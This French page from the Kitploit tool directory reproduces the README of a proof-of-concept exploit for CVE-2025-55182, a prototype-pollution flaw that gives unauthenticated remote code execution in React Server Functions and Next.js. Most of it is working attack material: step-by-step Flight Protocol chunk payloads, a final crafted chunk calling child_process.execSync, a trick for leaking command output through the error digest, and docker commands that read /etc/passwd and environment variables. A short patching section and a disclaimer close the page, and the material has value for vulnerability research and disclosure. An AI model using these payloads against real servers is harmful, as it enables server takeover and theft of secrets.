Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Exploit de preuve de concept pour CVE-2025-55182, une vulnérabilité d'exécution de code à distance dans React Server Functions (Next.js). Démontre une pollution de prototype conduisant à une exécution de code arbitraire non authentifiée via des requêtes HTTP conçues. | Kitploit
Outils/GitHubGitHub/yuta3003/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFArticles et RechercheApprentissage et Éducation
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

Exploit de preuve de concept pour CVE-2025-55182, une vulnérabilité d'exécution de code à distance dans React Server Functions (Next.js). Démontre une pollution de prototype conduisant à une exécution de code arbitraire non authentifiée via des requêtes HTTP conçues.

Voir le dépôt
il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182

Code de démonstration pour une vulnérabilité d'exécution de code à distance (RCE) dans les React Server Functions (Next.js, etc.). Exploite la pollution de prototype pour exécuter du code arbitraire sur le serveur sans authentification.

Attention : Ce dépôt est destiné à des fins éducatives et de recherche. Toute utilisation malveillante est strictement interdite.


Aperçu

Versions affectées

  • Next.js : 16.0.6 et antérieures (vulnérable)
  • React : avant ce commit

Sévérité de la vulnérabilité

  • CVSS : Élevée (score détaillé non divulgué)
  • Difficulté d'attaque : Faible (pas d'authentification requise, une seule requête HTTP suffit)
  • Impact : Exécution de code arbitraire sur le serveur

Cause de la vulnérabilité

Dans le traitement de désérialisation du React Flight Protocol, la validation de la chaîne de prototypes est insuffisante. Cela permet d'accéder au constructeur Function via __proto__ et d'exécuter du code JavaScript arbitraire.


Utilisation

Environnement Docker (recommandé)

Méthode la plus simple pour tester.

root@kitploit:~
# 1. Lancer le serveur Next.js vulnérable
docker compose up -d --build

# 2. Exécuter l'exploit (par défaut : commande id)
docker compose run --rm poc

# 3. Exécuter une commande personnalisée
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 4. Arrêter le serveur
docker compose down

Explication technique

1. Connaissances préalables

Que sont les React Server Functions ?

Fonctionnalité API côté serveur proposée par Next.js, etc.

root@kitploit:~
// Server Action (fonction exécutée uniquement côté serveur)
async function submitForm(formData) {
  'use server'  // ← déclaration de fonction serveur

  // Opérations côté serveur, comme la base de données
  const result = await db.insert(formData)
  return result
}

Lorsqu'elle est appelée depuis le client :

  1. Envoyée au serveur sous forme de requête HTTP
  2. Les arguments sont sérialisés/désérialisés via le React Flight Protocol
  3. La fonction est exécutée côté serveur
  4. Le résultat est renvoyé au client

Fonctionnement du React Flight Protocol

Le client envoie les données par unités appelées « chunks » (morceaux) :

root@kitploit:~
files = {
    "0": (None, '["$1"]'),                                  # chunk 0 : référence au chunk 1
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # chunk 1 : référence à fruitName du chunk 2
    "2": (None, '{"fruitName":"cherry"}'),                  # chunk 2 : données réelles
}

Après désérialisation côté serveur :

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Le point clé est la possibilité de références croisées entre chunks.


2. Détails de la vulnérabilité

Le problème

Avant le commit de correction, lors de la résolution des références entre chunks, la vérification de l'existence réelle de la clé dans l'objet n'était pas effectuée.

Cela permet d'accéder à la chaîne de prototypes.

Attaque de base (obtention du constructeur Function)

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Processus de résolution :

root@kitploit:~
Objet du chunk 1 → __proto__ → constructor → constructor → Function

Résultat :

root@kitploit:~
[Function: Function]  // Constructeur Function obtenu !

Développement de l'attaque (exploitation de la méthode then)

En faisant du chunk 0 un objet et en définissant la propriété then sur le constructeur Function :

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Dans le code de Next.js (action-handler.ts:888, avant le correctif) :

root@kitploit:~
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Ce await tente d'appeler l'objet dont then est le constructeur Function, ce qui provoque une erreur :

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. Technique d'exploitation avancée

Défi

Le constructeur Function est obtenu, mais comment exécuter du code arbitraire ?

Ce dont nous avons besoin :

  1. Un gadget pour appeler le constructeur Function (en lui passant une chaîne de code)
  2. Un gadget pour exécuter la fonction générée

Solution : chunk auto-référent

Idée de maple3142 : créer un « faux chunk » où le chunk 0 se référence lui-même.

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # Remplacer son propre then par Chunk.prototype.then
    "1": (None, '"$@0"'),                          # $@0 = représentation « brute » du chunk 0
}

La syntaxe $@ renvoie le chunk brut, non résolu :

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Résultat : le then du chunk 0 est remplacé par Chunk.prototype.then.

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← entre ici
  }
  // ...
}

Exploitation de l'évaluation en deux étapes

En définissant status: "resolved_model" sur le faux chunk, initializeModelChunk est appelée :

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Dans initializeModelChunk :

root@kitploit:~
function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

Ici, une deuxième évaluation a lieu.

Charge utile finale : exploitation du traitement Blob

Traitement des blobs dans le React Flight Protocol (préfixe $B) :

root@kitploit:~
case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← exploité ici
  );

En manipulant le _response du faux chunk pour que _formData.get soit le constructeur Function et _prefix le code à exécuter :

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # pour éviter une erreur avec toString()
    "value": '{"then": "$B0"}',  # définir then via référence blob
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Constructeur Function
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Déroulement de l'exécution :

root@kitploit:~
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Cette fonction est appelée via await → exécution du code !

4. Fonctionnement du PoC

poc.py implémente la charge utile ci-dessus et extrait le résultat de la commande depuis le message d'erreur :

root@kitploit:~
# Intègre la sortie de la commande dans le champ digest de l'erreur
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

Il suffit de définir l'en-tête HTTP Next-Action: x pour que l'attaque réussisse :

root@kitploit:~
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

Important : Cette attaque se produit pendant la désérialisation, donc avant la validation de l'action (getActionModIdOrError).


Contre-mesures

Pour les développeurs

  1. Mettre à jour immédiatement : mettre à jour React et Next.js vers les dernières versions

    root@kitploit:~
    npm update react react-dom next
    
  2. Vérifier les versions :

    root@kitploit:~
    npm list react next
    
    • Next.js 16.0.7 ou ultérieur
    • React 19.2.1 ou ultérieur (incluant le commit de correction)
  3. WAF/mesures de sécurité :

    • Surveiller l'en-tête Next-Action
    • Bloquer les données de formulaire anormales

Scan de vulnérabilité

root@kitploit:~
# Vérifier les vulnérabilités du projet
npm audit

Références

  1. Documentation officielle des React Server Functions
  2. Explication du React Flight Protocol
  3. Commit de correction
  4. Explication des prototypes JavaScript
  5. Constructeur Function
  6. Découvreur : maple3142

Licence et avertissement

Ce dépôt est fourni uniquement à des fins éducatives et de recherche.

  • Toute utilisation non autorisée contre des systèmes tiers est illégale
  • L'auteur décline toute responsabilité pour les dommages causés par son utilisation
  • Les chercheurs en sécurité doivent l'utiliser de manière responsable

Contribution

Découverte de la vulnérabilité : maple3142 Implémentation du PoC : l'auteur de ce dépôt

Télécharger l’outil